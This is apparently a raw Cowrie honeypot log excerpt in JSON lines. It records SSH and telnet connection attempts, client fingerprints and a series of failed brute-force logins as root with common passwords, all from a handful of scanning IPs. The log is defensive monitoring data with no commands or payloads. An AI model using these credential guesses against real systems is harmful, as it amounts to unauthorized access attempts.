sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:12.390072Z","src_ip":"31.40.204.166","session":"a90f86e774ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:13.082966Z","src_ip":"31.40.204.166","session":"a90f86e774ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57834,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cd05393bfe2","protocol":"ssh","message":"New connection: 152.42.212.128:57834 (10.17.0.5:22) [session: 0cd05393bfe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:14.011584Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:14.017655Z","src_ip":"152.42.212.128","session":"0cd05393bfe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:14.021741Z","src_ip":"152.42.212.128","session":"0cd05393bfe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:14.219646Z","src_ip":"31.40.204.166","session":"a90f86e774ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":51048,"dst_ip":"159.203.135.109","dst_port":22,"session":"46c58af64230","protocol":"ssh","message":"New connection: 147.45.199.80:51048 (159.203.135.109:22) [session: 46c58af64230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:14.555320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:14.560775Z","src_ip":"147.45.199.80","session":"46c58af64230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:14.657406Z","src_ip":"147.45.199.80","session":"46c58af64230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dakota","message":"login attempt [root/dakota] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:14.947224Z","src_ip":"147.45.199.80","session":"46c58af64230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39910,"dst_ip":"10.17.0.5","dst_port":23,"session":"31c56e4cc3c8","protocol":"telnet","message":"New connection: 152.42.224.71:39910 (10.17.0.5:23) [session: 31c56e4cc3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:15.162443Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:16.045815Z","src_ip":"147.45.199.80","session":"46c58af64230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00393986701965,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:18.581869Z","src_ip":"152.42.224.71","session":"5d60f7500284","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.56309127807617,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:22.201026Z","src_ip":"152.42.224.71","session":"e276d83875bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59048,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c8496dd9798","protocol":"ssh","message":"New connection: 31.40.204.166:59048 (159.203.135.109:22) [session: 6c8496dd9798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:23.812808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:23.822768Z","src_ip":"31.40.204.166","session":"6c8496dd9798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:24.006120Z","src_ip":"31.40.204.166","session":"6c8496dd9798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:24.433099Z","src_ip":"31.40.204.166","session":"6c8496dd9798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:25.584521Z","src_ip":"31.40.204.166","session":"6c8496dd9798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.94088077545166,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:26.231178Z","src_ip":"152.42.224.71","session":"d1e483924274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54514,"dst_ip":"10.17.0.5","dst_port":23,"session":"672720f655b3","protocol":"telnet","message":"New connection: 152.42.224.71:54514 (10.17.0.5:23) [session: 672720f655b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:27.636926Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47692,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b0efb8bcefc","protocol":"ssh","message":"New connection: 31.40.204.166:47692 (159.203.135.109:22) [session: 9b0efb8bcefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:35.283199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:35.307339Z","src_ip":"31.40.204.166","session":"9b0efb8bcefc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:35.408227Z","src_ip":"31.40.204.166","session":"9b0efb8bcefc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:36.006057Z","src_ip":"31.40.204.166","session":"9b0efb8bcefc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.41550803184509,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:36.188507Z","src_ip":"152.42.224.71","session":"0f7e8576b696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.147900581359863,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:36.310206Z","src_ip":"152.42.224.71","session":"31c56e4cc3c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:37.203988Z","src_ip":"31.40.204.166","session":"9b0efb8bcefc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.91701865196228,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:37.943481Z","src_ip":"152.42.224.71","session":"3cf65f06868d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47242,"dst_ip":"10.17.0.5","dst_port":23,"session":"354012320c48","protocol":"telnet","message":"New connection: 152.42.224.71:47242 (10.17.0.5:23) [session: 354012320c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:38.228676Z"}
{"eventid":"cowrie.session.closed","duration":107.73999738693237,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:44.379666Z","src_ip":"152.42.224.71","session":"9d0d66ee8dcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.0451009273529,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:45.760829Z","src_ip":"152.42.224.71","session":"58297d5dc43d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.24842643737793,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:46.131023Z","src_ip":"152.42.224.71","session":"61fd38d814c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39010,"dst_ip":"159.203.135.109","dst_port":22,"session":"12bea2c48fee","protocol":"ssh","message":"New connection: 31.40.204.166:39010 (159.203.135.109:22) [session: 12bea2c48fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:46.714849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:46.719136Z","src_ip":"31.40.204.166","session":"12bea2c48fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:46.886321Z","src_ip":"31.40.204.166","session":"12bea2c48fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:47.317220Z","src_ip":"31.40.204.166","session":"12bea2c48fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:48.693605Z","src_ip":"31.40.204.166","session":"12bea2c48fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42204,"dst_ip":"10.17.0.5","dst_port":23,"session":"36505acaaf8c","protocol":"telnet","message":"New connection: 152.42.224.71:42204 (10.17.0.5:23) [session: 36505acaaf8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:49.481168Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54884,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a7ae951c3cb","protocol":"telnet","message":"New connection: 152.42.224.71:54884 (10.17.0.5:23) [session: 5a7ae951c3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:58.681854Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47568,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb4b872c6c38","protocol":"ssh","message":"New connection: 31.40.204.166:47568 (159.203.135.109:22) [session: cb4b872c6c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:59.082189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:59.086836Z","src_ip":"31.40.204.166","session":"cb4b872c6c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:59.208246Z","src_ip":"31.40.204.166","session":"cb4b872c6c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:57:59.625981Z","src_ip":"31.40.204.166","session":"cb4b872c6c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:00.797164Z","src_ip":"31.40.204.166","session":"cb4b872c6c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54890,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8bb6c950ee0","protocol":"telnet","message":"New connection: 152.42.224.71:54890 (10.17.0.5:23) [session: a8bb6c950ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:03.965811Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":34720,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa97e308b304","protocol":"ssh","message":"New connection: 77.94.47.83:34720 (10.17.0.5:22) [session: aa97e308b304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:09.853142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:09.857896Z","src_ip":"77.94.47.83","session":"aa97e308b304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:09.982488Z","src_ip":"77.94.47.83","session":"aa97e308b304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333666999","message":"login attempt [root/333666999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:10.356783Z","src_ip":"77.94.47.83","session":"aa97e308b304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45308,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f08282fed1e","protocol":"ssh","message":"New connection: 31.40.204.166:45308 (159.203.135.109:22) [session: 3f08282fed1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:11.180618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:58:11.185004Z","src_ip":"31.40.204.166","session":"3f08282fed1e","protocol":"ssh"}
